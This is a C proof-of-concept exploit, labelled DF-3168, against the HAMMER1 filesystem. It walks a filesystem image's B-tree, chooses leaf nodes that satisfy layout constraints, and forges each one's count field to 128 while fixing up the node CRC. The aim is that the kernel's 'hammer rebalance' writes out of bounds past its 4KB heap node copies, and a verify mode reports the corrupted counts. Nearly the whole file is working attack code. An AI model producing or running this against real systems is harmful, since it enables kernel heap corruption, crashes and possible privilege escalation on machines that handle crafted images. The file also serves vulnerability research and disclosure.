/*
 * DF-3168 PoC -- forge the `count` field of one non-first-child HAMMER1
 * B-Tree leaf node so that hammer rebalance's pack loop runs off the end
 * of its kmalloc'd 4KB node copies.
 *
 * Modes:
 *   patch_leaf_rebal walk   <img>            -- walk tree, pick target, print plan
 *   patch_leaf_rebal patch  <img> [off]      -- apply the forged count (default: picked target)
 *   patch_leaf_rebal verify <img>            -- post-rebalance readback of leaf counts
 *
 * On-disk layout used (hammer_btree.h):
 *   node: crc@0(4) reserved01@4 parent@8(8) count@16(4,i32) type@20(1)
 *         mirror_tid@56(8) elms@64 (63 x 64B)  -> 4096B node
 *   internal elm: base(40) mirror_tid@40 subtree_offset@48
 *   base elm: obj_id@0 key@8 create_tid@16 delete_tid@24
 *             rec_type@32 obj_type@34 btype@35 localization@36
 *   volume: vol_buf_beg@24(8) vol_version@152(4) vol0_btree_root@240(8)
 *
 * Zone-8 offset -> raw: raw = vol_buf_beg + (off & 0x00FFFFFFFFFFFFFF)
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#define NODE_SIZE   4096
#define BUF_SIZE    16384
#define ELM_SIZE    64
#define ELMS_OFF    64
#define MAX_ELMS    63
#define NEW_COUNT   128		/* forged leaf count ( > 63 ) */

typedef struct {
	uint64_t off;		/* zone-8 offset */
	uint64_t raw;
	uint8_t  type;		/* 'I' / 'L' */
	int32_t  count;
	uint64_t parent;
	int      depth;
	uint64_t poff;		/* parent zone-8 offset */
	int      pindex;	/* our index in parent */
	int      nsiblings;	/* parent->count */
} nodeinfo_t;

static nodeinfo_t nodes[8192];
static int nnodes;
static int fd;
static uint64_t buf_beg;

static uint32_t rd32(const unsigned char *p) { uint32_t v; memcpy(&v, p, 4); return v; }
static uint64_t rd64(const unsigned char *p) { uint64_t v; memcpy(&v, p, 8); return v; }
static void    wr32(unsigned char *p, uint32_t v) { memcpy(p, &v, 4); }

/* generic reflected CRC (c32c: iscsi/crc32c, else crc32) */
static uint32_t crc_gen(int c32c, const void *buf, size_t len)
{
	static uint32_t tab[256];
	static int c32c_init = -1;
	uint32_t crc = 0xFFFFFFFFU;
	const unsigned char *p = buf;

	if (c32c_init != c32c) {
		for (uint32_t i = 0; i < 256; i++) {
			uint32_t c = i;
			for (int k = 0; k < 8; k++)
				c = (c & 1) ? (c >> 1) ^
				    (c32c ? 0x82F63B78U : 0xEDB88320U) : c >> 1;
			tab[i] = c;
		}
		c32c_init = c32c;
	}
	for (size_t i = 0; i < len; i++)
		crc = tab[(crc ^ p[i]) & 0xFF] ^ (crc >> 8);
	return crc ^ 0xFFFFFFFFU;
}

static int crc_is_c32c;	/* detected on first node */

static uint64_t z2r(uint64_t off)
{
	return buf_beg + (off & 0x00FFFFFFFFFFFFFFULL);
}

static int rd_node(uint64_t zoff, unsigned char *buf)
{
	if (pread(fd, buf, NODE_SIZE, z2r(zoff)) != NODE_SIZE) {
		perror("read node"); return -1;
	}
	return 0;
}

static void walk(uint64_t zoff, int depth, uint64_t poff, int pindex,
		 int nsib)
{
	unsigned char buf[NODE_SIZE];
	nodeinfo_t *ni;

	if (nnodes >= (int)(sizeof(nodes)/sizeof(nodes[0])) || depth > 10)
		return;
	if (rd_node(zoff, buf))
		return;
	ni = &nodes[nnodes++];
	ni->off = zoff;
	ni->raw = z2r(zoff);
	ni->type = buf[20];
	ni->count = (int32_t)rd32(buf + 16);
	ni->parent = rd64(buf + 8);
	ni->depth = depth;
	ni->poff = poff;
	ni->pindex = pindex;
	ni->nsiblings = nsib;

	if (ni->type == 'I') {
		int cnt = ni->count > MAX_ELMS ? MAX_ELMS : ni->count;
		for (int i = 0; i < cnt; i++) {
			uint64_t sub = rd64(buf + ELMS_OFF + i*ELM_SIZE + 48);
			if (sub)
				walk(sub, depth + 1, zoff, i, cnt);
		}
	}
}

/* does a node exist whose raw offset == raw? */
static nodeinfo_t *node_at_raw(uint64_t raw)
{
	for (int i = 0; i < nnodes; i++)
		if (nodes[i].raw == raw)
			return &nodes[i];
	return NULL;
}

static int
hm_div(int a, int b) { return (a + b - 1) / b; }

int main(int argc, char **argv)
{
	unsigned char vol[16384], node[NODE_SIZE];
	const char *img;
	uint64_t root, sig, cand_raw = 0;
	uint32_t ver, stored_crc;
	int mode = -1;

	if (argc < 3) {
		fprintf(stderr, "usage: %s walk|patch|verify <img> [off]\n",
			argv[0]);
		return 1;
	}
	if (!strcmp(argv[1], "walk"))   mode = 0;
	if (!strcmp(argv[1], "patch"))  mode = 1;
	if (!strcmp(argv[1], "verify")) mode = 2;
	if (mode < 0) { fprintf(stderr, "bad mode\n"); return 1; }
	img = argv[2];

	fd = open(img, O_RDWR);
	if (fd < 0) { perror("open"); return 1; }
	if (pread(fd, vol, sizeof(vol), 0) != sizeof(vol)) {
		perror("read vol"); return 1;
	}
	sig = rd64(vol);
	if (sig != 0xC8414D4DC5523031ULL) {
		printf("bad vol sig %016jx\n", (uintmax_t)sig); return 1;
	}
	buf_beg = rd64(vol + 24);
	ver = rd32(vol + 152);
	root = rd64(vol + 240);
	printf("vol_buf_beg=0x%jx version=%u btree_root=0x%jx\n",
	       (uintmax_t)buf_beg, ver, (uintmax_t)root);

	/* detect CRC algorithm using the root node */
	if (rd_node(root, node)) return 1;
	stored_crc = rd32(node);
	if (stored_crc == crc_gen(1, node + 4, NODE_SIZE - 4))
		crc_is_c32c = 1;
	else if (stored_crc == crc_gen(0, node + 4, NODE_SIZE - 4))
		crc_is_c32c = 0;
	else {
		printf("root CRC mismatch -- unsupported layout?\n");
		return 1;
	}
	printf("node CRC algorithm: %s\n", crc_is_c32c ? "crc32c" : "crc32");

	if (mode == 0) {
		walk(root, 0, 0, -1, -1);
		printf("walked %d nodes\n", nnodes);
		int nleaf = 0, nint = 0;
		for (int i = 0; i < nnodes; i++) {
			if (nodes[i].type == 'L') nleaf++;
			else nint++;
		}
		printf("leaves=%d internal=%d\n", nleaf, nint);

		/*
		 * Select the parent whose set of conforming non-first-child
		 * leaf children yields the highest avg_elms after forging
		 * count=NEW_COUNT on each of them.
		 *
		 * Conforming leaf:
		 *  - non-first child (pindex >= 1) -- the first child is the
		 *    initial base_item and only self-packs (no copies).
		 *  - slice offset 0x0000/0x1000 of its 16K buffer, so the
		 *    hammer_rebalance.c:194 scan read of elms[N-1] (+8192)
		 *    stays inside the kernel hammer buffer.
		 *  - the 40 bytes at elms[N-1] (start of a 4K slot: node
		 *    header or zeroed free space) decode to a key that will
		 *    not end the scan: reserved01==0 (obj_id < 2^32) and
		 *    localization==0.
		 */
		/*
		 * Prefer the parent with the LOWEST index at the root:
		 * the root's own (later, bottom-up) rebalance packs its
		 * children left-to-right and deletes trailing ones, so a
		 * late parent could be deleted and its corrupted leaves
		 * orphaned before we verify.  Among equal indices take the
		 * higher avg.
		 */
		int bestp = -1, best_avg = -1, best_ppidx = 1000000;
		uint64_t best_poff = 0;
		for (int i = 0; i < nnodes; i++) {
			if (nodes[i].type != 'I')
				continue;
			int k = 0, sibsum = 0, nconf = 0, allleaf = 1;
			for (int j = 0; j < nnodes; j++) {
				if (nodes[j].poff != nodes[i].off)
					continue;
				k++;
				sibsum += nodes[j].count;
				if (nodes[j].type != 'L')
					allleaf = 0;
			}
			if (!allleaf || k < 2)
				continue;
			/* count conforming non-first leaf children */
			for (int j = 0; j < nnodes; j++) {
				nodeinfo_t *L = &nodes[j];
				int slice;
				uint64_t kw_raw;
				unsigned char kw[40];

				if (L->poff != nodes[i].off || L->pindex < 1)
					continue;
				slice = (int)(L->raw & (BUF_SIZE - 1));
				if (slice != 0x0000 && slice != 0x1000)
					continue;
				kw_raw = L->raw + ELMS_OFF +
					(NEW_COUNT - 1) * ELM_SIZE;
				if (kw_raw + 40 >
				    (L->raw & ~(uint64_t)(BUF_SIZE-1)) +
				    BUF_SIZE)
					continue;
				if (pread(fd, kw, 40, kw_raw) != 40)
					continue;
				if (rd32(kw + 4) != 0 || rd32(kw + 36) != 0)
					continue;
				nconf++;
			}
			/*
			 * total after forging: sibsum + nconf*(NEW-avg_orig)
			 * is approximate; compute exactly by re-walking.
			 */
			int total = sibsum;
			for (int j = 0; j < nnodes; j++) {
				nodeinfo_t *L = &nodes[j];
				if (L->poff != nodes[i].off || L->pindex < 1)
					continue;
				int slice = (int)(L->raw & (BUF_SIZE-1));
				uint64_t kw_raw = L->raw + ELMS_OFF +
					(NEW_COUNT - 1) * ELM_SIZE;
				unsigned char kw[40];
				if (slice != 0x0000 && slice != 0x1000)
					continue;
				if (kw_raw + 40 >
				    (L->raw & ~(uint64_t)(BUF_SIZE-1)) +
				    BUF_SIZE)
					continue;
				if (pread(fd, kw, 40, kw_raw) != 40)
					continue;
				if (rd32(kw + 4) != 0 || rd32(kw + 36) != 0)
					continue;
				total += NEW_COUNT - L->count;
			}
			int avg = hm_div(total, k);
			int ppidx = (nodes[i].depth == 1) ?
					nodes[i].pindex : 1000000;
			if (nconf >= 1 && avg >= 66 &&
			    (ppidx < best_ppidx ||
			     (ppidx == best_ppidx && avg > best_avg))) {
				best_avg = avg;
				best_ppidx = ppidx;
				bestp = i;
				best_poff = nodes[i].off;
			}
		}
		if (bestp < 0) {
			printf("NO CANDIDATE FOUND\n");
			return 2;
		}
		FILE *f = fopen("/build/target.txt", "w");
		if (!f) { perror("target.txt"); return 1; }
		int nconf = 0;
		for (int j = 0; j < nnodes; j++) {
			nodeinfo_t *L = &nodes[j];
			int slice;
			uint64_t kw_raw;
			unsigned char kw[40];

			if (L->poff != best_poff || L->pindex < 1)
				continue;
			slice = (int)(L->raw & (BUF_SIZE - 1));
			if (slice != 0x0000 && slice != 0x1000)
				continue;
			kw_raw = L->raw + ELMS_OFF + (NEW_COUNT - 1)*ELM_SIZE;
			if (kw_raw + 40 >
			    (L->raw & ~(uint64_t)(BUF_SIZE-1)) + BUF_SIZE)
				continue;
			if (pread(fd, kw, 40, kw_raw) != 40)
				continue;
			if (rd32(kw + 4) != 0 || rd32(kw + 36) != 0)
				continue;
			fprintf(f, "%016jx\n", (uintmax_t)L->raw);
			printf("TARGET leaf zone8=%016jx raw=0x%jx count=%d "
			       "pindex=%d\n",
			       (uintmax_t)L->off, (uintmax_t)L->raw,
			       L->count, L->pindex);
			nconf++;
		}
		fclose(f);
		printf("PLAN: parent=%016jx forged %d leaves to count=%d "
		       "-> expected avg_elms=%d (saturation <=62: no clamp)\n",
		       (uintmax_t)best_poff, nconf, NEW_COUNT, best_avg);
		printf("PLAN: pack loop writes base_item->copy->elms[] up to "
		       "index %d -> OOB writes at copy offsets "
		       "4096..%d (%d granules past the 4KB copy)\n",
		       best_avg - 1, 64 + 64*(best_avg-1),
		       best_avg - MAX_ELMS);
		return 0;
	}

	if (mode == 1) {
		FILE *f;
		char line[64];
		uint64_t raw;
		int np = 0;

		if (argc > 3) {
			f = NULL;
			raw = strtoull(argv[3], NULL, 16);
		} else {
			f = fopen("/build/target.txt", "r");
			if (!f) {
				fprintf(stderr,
					"no /build/target.txt -- walk first\n");
				return 1;
			}
		}
		for (;;) {
			if (f) {
				if (!fgets(line, sizeof(line), f))
					break;
				raw = strtoull(line, NULL, 16);
			}
			if (pread(fd, node, NODE_SIZE, raw) != NODE_SIZE) {
				perror("read target"); return 1;
			}
			if (node[20] != 'L') {
				printf("target type=%02x not leaf\n",
				       node[20]);
				return 1;
			}
			printf("target raw=0x%jx old count=%d\n",
			       (uintmax_t)raw, (int32_t)rd32(node + 16));
			wr32(node + 16, NEW_COUNT);
			stored_crc = crc_gen(crc_is_c32c, node + 4,
					     NODE_SIZE - 4);
			memcpy(node, &stored_crc, 4);
			if (pwrite(fd, node, NODE_SIZE, raw) != NODE_SIZE) {
				perror("write target"); return 1;
			}
			printf("PATCHED raw=0x%jx: count=%d nodecrc=%08x\n",
			       (uintmax_t)raw, NEW_COUNT, stored_crc);
			np++;
			if (!f)
				break;
		}
		if (f)
			fclose(f);
		printf("PATCHED %d leaves\n", np);
		return 0;
	}

	/* verify: dump all leaves whose count is out of [0,63] */
	walk(root, 0, 0, -1, -1);
	int bad = 0;
	for (int i = 0; i < nnodes; i++) {
		if (nodes[i].type == 'L' &&
		    (nodes[i].count < 0 || nodes[i].count > MAX_ELMS)) {
			printf("CORRUPT-LEAF zone8=%016jx count=%d "
			       "(parent=%016jx pindex=%d)\n",
			       (uintmax_t)nodes[i].off, nodes[i].count,
			       (uintmax_t)nodes[i].poff, nodes[i].pindex);
			bad++;
		}
		if (nodes[i].type == 'I' &&
		    (nodes[i].count < 0 || nodes[i].count > MAX_ELMS - 1)) {
			printf("CORRUPT-INTERNAL zone8=%016jx count=%d\n",
			       (uintmax_t)nodes[i].off, nodes[i].count);
			bad++;
		}
	}
	printf("VERIFY: %d out-of-bounds counts found\n", bad);
	return bad ? 42 : 0;
}